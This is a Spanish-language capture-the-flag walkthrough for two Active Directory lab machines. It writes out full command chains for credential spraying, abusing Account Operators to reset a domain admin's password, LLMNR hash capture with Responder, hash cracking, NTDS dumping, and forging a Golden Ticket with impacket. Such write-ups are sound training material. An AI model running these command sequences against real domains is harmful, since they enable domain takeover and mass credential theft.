https://private-user-images.githubusercontent.com/154221253/356909291-f25e6fe5-656d-4087-83a5-58bd422d2845.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3Mzc1MTUsIm5iZiI6MTc0NzczNzIxNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzU2OTA5MjkxLWYyNWU2ZmU1LTY1NmQtNDA4Ny04M2E1LTU4YmQ0MjJkMjg0NS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDMzMzVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1mYWQwYzkxMWFlM2U1NzlkOTI4Yzc5N2EzNWJlZTY1NWM4MjAzNWIxY2QwOTgxYTA4MGI3YWMwNGJiMWUwZWRmJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.aLg5b9cyfIVHinbN75ZUd_IuxpBfGdn0bPiB7gxEGMU
https://private-user-images.githubusercontent.com/154221253/356909315-3a3504c9-0022-4599-a3c0-f8e00061c25b.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3Mzc1MTUsIm5iZiI6MTc0NzczNzIxNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzU2OTA5MzE1LTNhMzUwNGM5LTAwMjItNDU5OS1hM2MwLWY4ZTAwMDYxYzI1Yi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDMzMzVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0xMmRkYTgyMTgxYmY1YzE1ZDlhYWYyYzNhODU5NjczOTFjNjY5MzYzMWE1YWQ0ZGFmMWYzOWJlNjdjZDcyN2VmJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.rPt88qVlmt1MlonXTiXir3udbMknXzZd79xRWdM59PA
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cme winrm 14.14.1.25 -u xkate578 -p ‘jesuchrist’ 

 

 

 

 

 

 

 

3. Escalada de Privilegios 

Al tener unas credenciales validas y poder enumerar todos los usuarios 

del dominio, probamos también si hay usuarios vulnerables a ataque 

ASREPRoast o Kerberoast, pero no hay ninguno. Lo siguiente, es 

ejecutar ldapdomaindump, para así también poder enumerar grupos, 

equipos… y ver toda la información con una estructura y visualmente 

mejor. 

mkdir ldump 

cd ldump 

ldapdomaindump -u soupedecode.local\\xkate578 -p 'jesuchrist' 

14.14.1.25 

sudo python3 -m http.server 80 

 

https://private-user-images.githubusercontent.com/154221253/356909342-0730c7aa-b33e-45e6-9fec-d5c6a0a52d8f.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3Mzc1MTUsIm5iZiI6MTc0NzczNzIxNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzU2OTA5MzQyLTA3MzBjN2FhLWIzM2UtNDVlNi05ZmVjLWQ1YzZhMGE1MmQ4Zi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDMzMzVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT04ZWNhN2ZmNGI3MmFiY2YwMTQyZTZkNTlkM2I1MWUyMjIyNGFkMGEwNjUyMGZmNjkwMDlhMmZjZTNiMGM2ZTMwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.I02aDzEzDSDRlSR1YHnnJlPy6GD55TVrGeOjZiiIBH8
https://private-user-images.githubusercontent.com/154221253/356909354-10621ef0-d2bf-473d-896b-76175ad655de.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3Mzc1MTUsIm5iZiI6MTc0NzczNzIxNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzU2OTA5MzU0LTEwNjIxZWYwLWQyYmYtNDczZC04OTZiLTc2MTc1YWQ2NTVkZS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDMzMzVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0zYjA0ZjBiMjNjN2Q2ODcxZmE0YjE2ZWZkOWY3YThhMzMwYjBlNTYxZDQxZDExOWM0NzgxYWIxMjYzNjg2NGIwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.7JCwIUZn2V-8jIqZPQ2Px5UWW05cCJkTyh4MELS0_zc
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Aquí ya podemos ver cosas interesantes, como que nuestro usuario 

pertenece al grupo de “Account Operators”. 

 

Si buscamos información acerca de este grupo encontramos lo siguiente: 

El grupo Account Operators concede privilegios limitados de creación de 

cuentas a un usuario. Los miembros de este grupo pueden crear y 

modificar la mayoría de los tipos de cuentas, incluidas las cuentas para 

los usuarios, los grupos locales y los grupos globales. Los miembros del 

grupo pueden iniciar sesión localmente en controladores de dominio. Los 

miembros del grupo NO pueden administrar la cuenta de usuario 

Administrador, las cuentas de usuario de los administradores, o los grupos 

Administradores, Operadores de servidor, Operadores de cuenta, 

Operadores de copia de seguridad u Operadores de impresión. Los 

miembros de este grupo no pueden modificar los derechos de usuario. 

Sabiendo esto, vemos otro grupo bastante interesante, Operators, que 

este a su vez forma parte del grupo Admins del Dominio, por lo que si hay 

algún usuario que pertenezca a este grupo de Operators, podremos 

cambiarle la contraseña y por consiguiente conseguir unas credenciales 

de Admins del dominio. 

En el grupo Operators solo tiene un usuario, fbeth103. 

 

Vamos a ver si podemos forzarle un cambio de contraseña a este usuario 

a través de rpcclient. 

rpcclient -U ‘xkate578’ 14.14.1.25 

setuserinfo2 fbeth103 23 Pass1234! 

exit 

cme smb 14.14.1.25 -u fbeth103 -p ‘Pass1234!’ 

 

Vemos que funciona y además, al pertenecer al grupo de domain 

admins vemos el Pwn3d! de cme, lo que significa que tenemos acceso 

total al domino. 

https://private-user-images.githubusercontent.com/154221253/356909361-5d9f74a0-c070-4226-a479-bc7d5f613d81.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3Mzc1MTUsIm5iZiI6MTc0NzczNzIxNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzU2OTA5MzYxLTVkOWY3NGEwLWMwNzAtNDIyNi1hNDc5LWJjN2Q1ZjYxM2Q4MS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDMzMzVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1jN2FhYTIyNTI0MjNmY2Q4YmNjNTYwZDFkM2FjNjE5N2NlMGQ2NGNhMmIyMzg3ZDYxODY1Mjk5Y2ZhOTFlYjU0JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.sHxdcCPiGXl2O99EUmTKrYWRgHlBG19jKv7n-G5zbV4
https://private-user-images.githubusercontent.com/154221253/356909489-42335bdd-b4ec-42fc-91ae-aed6f4d44750.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3Mzc1MTUsIm5iZiI6MTc0NzczNzIxNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzU2OTA5NDg5LTQyMzM1YmRkLWI0ZWMtNDJmYy05MWFlLWFlZDZmNGQ0NDc1MC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDMzMzVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT00MTBkMzFjZTNiZGZjNDQ4YTE3ZTY1YmE1NDU0OTAzNjQ2NTBmZjFlZjg5ZDMwYjUzNDYwNDc3NDkyZWE3YzZhJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.hoTNsgnc8rNbmitEORv_LpVn9sVDTHlghmOEgnlFVII
https://private-user-images.githubusercontent.com/154221253/356909505-438c3113-e38f-4e92-a3bd-45c60fb87fc1.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3Mzc1MTUsIm5iZiI6MTc0NzczNzIxNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzU2OTA5NTA1LTQzOGMzMTEzLWUzOGYtNGU5Mi1hM2JkLTQ1YzYwZmI4N2ZjMS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDMzMzVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0zYjYwM2ZhZmMxZjAwYTg4MTFmNDEzYjJmMTllYWQzYzM3NzFjMDBiOWVmNjBhODUzMzY1YWIyODU5YWZhNjc3JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.6YkAhACRUWNdCeZGCCnu-47sO88FB5g3nHDOSW9fNKM
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Lo siguiente que haremos es dumpear el NTDS, NTDS es una tecnología 

de directorio de Microsoft que se utiliza para almacenar información 

sobre los recursos de red y servicios de una organización. NTDS 

proporciona la capacidad de administrar todos los recursos de red a 

través de una sola plataforma y cuenta con la capacidad de gestionar 

la autenticación, autorización y acceso a los recursos de red. 

En resumen, que podemos obtener todos los hashes NTLMv1 del dominio. 

cme smb 14.14.1.25 -u fbeth103 -p ‘Pass1234!’ --ntds 

 

Con esta información nos podemos conectar con winrm, realizando un 

pass the hash con el usuario Administrator y su hash NTLMv1. 

 

Ya hemos completado este CTF en el que hemos visto un 

envenenamiento LLMNR, crackeado hashes, escalada de privilegios del 

grupo Account Operators y Pass the Hash. 

 

 

 

 

 

 

 

 

https://private-user-images.githubusercontent.com/154221253/356909514-2de61e30-a9cf-4e09-9c27-fa729ed5a9ef.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3Mzc1MTUsIm5iZiI6MTc0NzczNzIxNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzU2OTA5NTE0LTJkZTYxZTMwLWE5Y2YtNGUwOS05YzI3LWZhNzI5ZWQ1YTllZi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDMzMzVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0zYWM5NjcxOGRkNGNlOTA1ODI5YTk2Yzk1NmU1NDRmMmZlZjAwMzRhMWYwMjcxOWVjYzg1ZTNhZTNmZmUwM2FmJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.Se1M0w_DX7aTW0xbJa60eqLFYuwN59ydfSQkwnrpscE
https://private-user-images.githubusercontent.com/154221253/356909597-655e9040-3c08-4371-b82b-cc62239060ab.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3Mzc1MTUsIm5iZiI6MTc0NzczNzIxNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzU2OTA5NTk3LTY1NWU5MDQwLTNjMDgtNDM3MS1iODJiLWNjNjIyMzkwNjBhYi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDMzMzVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1lMTYzNTA5YWI5OTVmMWZmZWYzZjg2NGE1OWM0NjFjYmZlMDFiMjYyYTliNWIwYWRkOTJmNzgwZmY4YmE0MTIyJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.S_lTWhfzU-HxFoQng_4USaDrynR87auF2Q7S5GrHCac
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Máquina DC04 

1. Reconocimiento 

Vamos a empezar con un escaneo de puertos con nmap, con la 

herramienta autonmap. 

 

Tras realizar una enumeración de todos los puertos (enumerando 

rpcclient, ldap y smb), no encontramos nada interesante por lo que nos 

centramos en el puerto 80, realizando un fuzzing. 

feroxbuster --url 'http://soupedecode.local/' 

 

https://github.com/BanYio/AutoNMAP
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Vemos el endpoint /server-info, donde podemos encontrar un virtual 

hosting apuntando hacia el subdominio; heartbeat.soupedecode.local. 

 

Lo añadimos al /etc/hosts y cuando visitamos la página nos lleva a un 

panel de login. 

 

Abrimos burpsuite e interceptamos la petición del login y la enviamos al 

intruder. En el intruder dejamos el user como admin y marcamos con Add, 

el campo de la password, para realizar un ataque de fuerza bruta a la 

contraseña con el diccionario /usr/share/seclists/Passwords/Default-

Credentials/default-passwords.txt 

¡¡WAF EN LA MÁQUINA!! 

Tras 40 intentos la máquina nos banea, saltando errores 403, lo que 

tenemos que hacer es, nada más instalar la máquina, realizar una 

snapshot, para revertirlo cada vez que nos banee.  
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Otra opción sería tratar de evadir este WAF, pero eso lo podemos ver en 

otro post. 

 

Una vez revertido el snapshot, acortamos la wordlist y obtenemos 

credenciales válidas para acceder a este servicio. 

 

admin:nimda 

Cuando accedemos nos solicita que introduzcamos una IP, y cuando la 

introducimos salta un mensaje de ‘Connectio failed!’, por lo que vamos a 

levantar el responder y vamos a forzar que se intente conectar a nuestra 

IP, obteniendo así el hash NTLMv2 del usuario de servicio web. 

 

 

 

 

 

 

 



  

 
36 

sudo responder -I eth0 

 

 

 

 

 

 

 

 

2. Explotación 

Nos guardamos el hash NTLMv2 en un fichero de texto y tratamos de 

romperlo con johntheripper o hashcat. 

john --wordlist=/usr/share/wordlists/rockyou.txt NTLMv2.txt 

Comprobamos que las credenciales sean válidas. 

nxc smb 192.168.1.144 -u websvc -p 'jordan23' 

 

Podemos observar que las credenciales son válidas pero la contraseña 

de este usuario ha expirado, vamos a tratar de forzar un cambio de 

contraseña. 
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nxc smb 192.168.1.144 -u websvc -p 'jordan23' -M change-password 

-o NEWPASS='Temporal1979!!' 

nxc smb 192.168.1.144 -u websvc -p 'Temporal1979!!' 

 

Si tratamos de ejecutar bloodhound, nos salta el mismo error que en las 

máquinas anteriores. 

git clone https://github.com/iphelix/dnschef.git 

cd dnschef 

sudo python3 dnschef.py –fakeip 192.168.1.144 

bloodhound-python -d soupedecode.local -v --zip -c All -ns 

127.0.0.1 -u 'websvc' -p 'Temporal1979!!' -dc 

dc01.soupedecode.local 

Por otro lado vamos a listar las carpetas compartidas y vemos algo 

interesante; 

nxc smb 192.168.1.144 -u websvc -p 'Temporal1979!!' –shares 

smbclient //192.168.1.144/C -U 'websvc' 

 

Enumeramos esta carpeta compartida, y en los usuarios del sistema 

(C:\Users\) vemos los siguientes users; 

fjudy998 

ojake987 

rtina979 

xursula991 

https://github.com/iphelix/dnschef.git
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3. Escalada de Privilegios 

Por lo que vamos a ver las descripciones de estos usuarios y encontramos 

una default password, pero nuevamente expirada, por lo que repetimos 

el proceso de cambio de contraseña. 

nxc smb 192.168.1.144 -u websvc -p 'Temporal1979!!' --users > 

valid_AD_Users.txt 

cat valid_AD_Users.txt | grep fjudy998 

cat valid_AD_Users.txt | grep ojake987 

cat valid_AD_Users.txt | grep rtina979 

cat valid_AD_Users.txt | grep xursula991 

nxc smb 192.168.1.144 -u rtina979 -p 'Z~l3JhcV#7Q-1#M' 

nxc smb 192.168.1.144 -u rtina979 -p 'Z~l3JhcV#7Q-1#M' -M 

change-password -o NEWPASS='Temporal1979!!' 

nxc smb 192.168.1.144 -u rtina979 -p 'Temporal1979!!' 

 

Ahora, de nuevo investigando por el directorio ‘C:\Users\rtina979’ 

encontramos un .rar, el cual para obtener su contenido nos solicita una 

contraseña. 
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Con johntheripper es posible sacar la contraseña en texto claro del rar y 

extraer los ficheros. 

rar2john Report.rar > rarjohn 

john --wordlist=/usr/share/wordlists/rockyou.txt rarjohn 

unrar x Report.rar 

 

Podemos ver que son .js un .html… por lo que si nos montamos un servidor 

web y si navegamos por la página, podemos ver todo el report de 

pentesting.  

En este report, en la parte de abajo del todo, podemos encontrar un 

dumpeo del NTDS, sobre el cual aparece el usuario interesante, krbtgt, 

con lo cual, si ese hash NTLMv1 es válido, podríamos tratar de obtener un 

GoldenTicket. 

 

El hash es válido, por tanto, podemos generar un GoldenTicket. Para ello 

es necesario tener el SID del DC y el hash del usuario krbtgt. 
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Para obtener el SID del DC lo podemos hacer desde bloodhound. 

 

El hash lo tenemos en el html del report. 

 

Por tanto juntando estos 2 requisitos podemos obtener un Golden Ticket 

impersonando el usuario Administrator. 

sudo rdate -n 192.168.1.144                                                                         

impacket-ticketer -nthash 0f55cdc40bd8f5814587f7e6b2f85e6f -

domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain 

soupedecode.local  administrator 

export KRB5CCNAME=administrator.ccache 
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impacket-wmiexec 

soupedecode.local/administrator@dc01.soupedecode.local -k -

target-ip 192.168.1.144 

 

Como podemos ver cuando nos intentamos conectar por wmiexec, nos 

salta el error:  

[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great). 

Lo que quiere decir, que, a pesar de haber sincronizado el servidor NTP 

con rdate, no ha sincronizado correctamente con el NTP server del DC. Si  

listamos la fecha que tiene el DC y la comparamos con la fecha de 

nuestra máquina, nos damos cuenta de que el DC está 1 día adelantado 

(por lo menos en mi caso), por lo que debemos realizar lo siguiente; 

sudo systemctl stop systemd-timesyncd 

sudo date -s "2025-05-22 01:34:26" 

 

Una vez hemos realizado este paso, podemos volver a generar el 

GoldenTicket. 

sudo rdate -n 192.168.1.144                                                                         

impacket-ticketer -nthash 0f55cdc40bd8f5814587f7e6b2f85e6f -

domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain 

soupedecode.local  administrator 

export KRB5CCNAME=administrator.ccache 
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impacket-wmiexec 

soupedecode.local/administrator@dc01.soupedecode.local -k -

target-ip 192.168.1.144 

 

También podemos dumpear el NTDS para obtener el hash NTLMv1 del 

usuario Administrator. 

nxc smb 192.168.1.144 -u administrator --use-kcache –ntds 

 

Ya hemos completado este CTF en el que hemos visto un virtual hosting, 

ataque de fuerza bruta a un panel web de login, captura de hashes 

NTLMv2, crackeado hashes, forzar cambios de contraseñas para cuentas 

con credenciales expiradas, romper ficheros .rar con password y una 

escalada de privilegios mediante un GoldenTicket y la técnica Pass the 

Hash. 
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